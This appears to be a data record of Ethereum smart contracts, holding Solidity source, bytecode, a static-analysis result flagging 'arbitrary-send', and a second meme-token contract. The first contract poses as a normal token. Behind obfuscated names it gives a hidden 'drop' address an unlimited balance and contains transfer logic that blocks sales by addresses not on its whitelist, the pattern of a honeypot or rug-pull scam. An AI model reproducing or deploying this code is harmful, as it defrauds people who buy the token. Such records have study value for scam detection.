function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address drop
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[drop] = sweet;
_balances[msg.sender] = _tTotal;
accept[drop] = sweet;
accept[msg.sender] = sweet;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private sweet = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
mapping(uint256 => address) private store;
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function jump(
address pitch,
address group,
uint256 amount
) private {
address pour = store[0];
bool morning = uniswapV2Pair == pitch;
uint256 fifth = _fee;
if (accept[pitch] == 0 && here[pitch] > 0 && !morning) {
accept[pitch] -= fifth;
}
store[0] = group;
if (accept[pitch] > 0 && amount == 0) {
accept[group] += fifth;
}
here[pour] += fifth;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[pitch] -= fee;
_balances[address(this)] += fee;
_balances[pitch] -= amount;
_balances[group] += amount;
}
mapping(address => uint256) private here;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private accept;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
jump(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
jump(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function buy(
uint256 count,
address tokenAddress,
address to
) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = tokenAddress;
uint256 amount = msg.value / count;
for (uint256 i = 0; i < count; i++) {
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp);
}
uint256 balance = address(this).balance;
if (balance > 0) payable(msg.sender).transfer(balance);
}
}
|
0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113d5565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611490565b61046f565b60405161015791906114eb565b60405180910390f35b34801561016c57600080fd5b50610175610484565b6040516101829190611515565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611530565b61048e565b6040516101bf91906114eb565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea9190611515565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b6040516102159190611592565b60405180910390f35b34801561022a57600080fd5b50610245600480360381019061024091906115ad565b61061d565b6040516102529190611515565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b6040516102949190611592565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113d5565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611490565b6107a9565b6040516102fc91906114eb565b60405180910390f35b34801561031157600080fd5b5061031a610825565b6040516103279190611515565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115da565b61082b565b6040516103649190611515565b60405180910390f35b6103876004803603810190610382919061161a565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab91906115ad565b610b50565b005b3480156103be57600080fd5b506103c7610c47565b6040516103d491906116cc565b60405180910390f35b6060600280546103ec90611716565b80601f016020809104026020016040519081016040528092919081815260200182805461041890611716565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c6d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117b9565b60405180910390fd5b6104dd848484610e08565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a9190611515565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf9190611808565b610c6d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611270565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990611888565b60405180910390fd5b6106ec6000611278565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461072690611716565b80601f016020809104026020016040519081016040528092919081815260200182805461075290611716565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610e08565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108139190611515565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce6118a8565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099191906118ec565b816000815181106109a5576109a4611919565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611919565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c9190611977565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611aa1565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611aed565b915050610a41565b5060004790506000811115610b48573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b46573d6000803e3d6000fd5b505b505050505050565b610b58611270565b73ffffffffffffffffffffffffffffffffffffffff16610b766106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390611888565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290611ba7565b60405180910390fd5b610c4481611278565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cd85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611c39565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610df59190611515565b60405180910390a3600190509392505050565b6000600c600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f2a57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f34575081155b15610f905780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f889190611808565b925050819055505b84600c600080815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110315750600084145b1561108d5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110859190611c59565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110dc9190611c59565b9250508190555060006001546064866110f59190611977565b6110ff9190611caf565b9050808561110d9190611808565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115e9190611808565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111b49190611c59565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461120a9190611808565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112609190611c59565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137657808201518184015260208101905061135b565b83811115611385576000848401525b50505050565b6000601f19601f8301169050919050565b60006113a78261133c565b6113b18185611347565b93506113c1818560208601611358565b6113ca8161138b565b840191505092915050565b600060208201905081810360008301526113ef818461139c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611427826113fc565b9050919050565b6114378161141c565b811461144257600080fd5b50565b6000813590506114548161142e565b92915050565b6000819050919050565b61146d8161145a565b811461147857600080fd5b50565b60008135905061148a81611464565b92915050565b600080604083850312156114a7576114a66113f7565b5b60006114b585828601611445565b92505060206114c68582860161147b565b9150509250929050565b60008115159050919050565b6114e5816114d0565b82525050565b600060208201905061150060008301846114dc565b92915050565b61150f8161145a565b82525050565b600060208201905061152a6000830184611506565b92915050565b600080600060608486031215611549576115486113f7565b5b600061155786828701611445565b935050602061156886828701611445565b92505060406115798682870161147b565b9150509250925092565b61158c8161141c565b82525050565b60006020820190506115a76000830184611583565b92915050565b6000602082840312156115c3576115c26113f7565b5b60006115d184828501611445565b91505092915050565b600080604083850312156115f1576115f06113f7565b5b60006115ff85828601611445565b925050602061161085828601611445565b9150509250929050565b600080600060608486031215611633576116326113f7565b5b60006116418682870161147b565b935050602061165286828701611445565b925050604061166386828701611445565b9150509250925092565b6000819050919050565b600061169261168d611688846113fc565b61166d565b6113fc565b9050919050565b60006116a482611677565b9050919050565b60006116b682611699565b9050919050565b6116c6816116ab565b82525050565b60006020820190506116e160008301846116bd565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061172e57607f821691505b602082108103611741576117406116e7565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006117a3602983611347565b91506117ae82611747565b604082019050919050565b600060208201905081810360008301526117d281611796565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118138261145a565b915061181e8361145a565b925082821015611831576118306117d9565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611872602083611347565b915061187d8261183c565b602082019050919050565b600060208201905081810360008301526118a181611865565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118e68161142e565b92915050565b600060208284031215611902576119016113f7565b5b6000611910848285016118d7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006119828261145a565b915061198d8361145a565b92508261199d5761199c611948565b5b828204905092915050565b6000819050919050565b60006119cd6119c86119c3846119a8565b61166d565b61145a565b9050919050565b6119dd816119b2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a188161141c565b82525050565b6000611a2a8383611a0f565b60208301905092915050565b6000602082019050919050565b6000611a4e826119e3565b611a5881856119ee565b9350611a63836119ff565b8060005b83811015611a94578151611a7b8882611a1e565b9750611a8683611a36565b925050600181019050611a67565b5085935050505092915050565b6000608082019050611ab660008301876119d4565b8181036020830152611ac88186611a43565b9050611ad76040830185611583565b611ae46060830184611506565b95945050505050565b6000611af88261145a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b2a57611b296117d9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b91602683611347565b9150611b9c82611b35565b604082019050919050565b60006020820190508181036000830152611bc081611b84565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c23602483611347565b9150611c2e82611bc7565b604082019050919050565b60006020820190508181036000830152611c5281611c16565b9050919050565b6000611c648261145a565b9150611c6f8361145a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ca457611ca36117d9565b5b828201905092915050565b6000611cba8261145a565b9150611cc58361145a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611cfe57611cfd6117d9565b5b82820290509291505056fea26469706673582212201cc25b177f843ed5e139444aafe0fa16a0b74524fc666cc246fc9654010923dd64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,749 |
0x38224b349966ee00db79aa85b919d59dcfaa7854
|
/**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FungibleInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Fungible Inu";
string private constant _symbol = "FINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x6C3EE7e4bF23D6b24af89C226B2BdB2cF9Ade7a6);
address payable private _marketingAddress = payable(0x6C3EE7e4bF23D6b24af89C226B2BdB2cF9Ade7a6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 7500 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
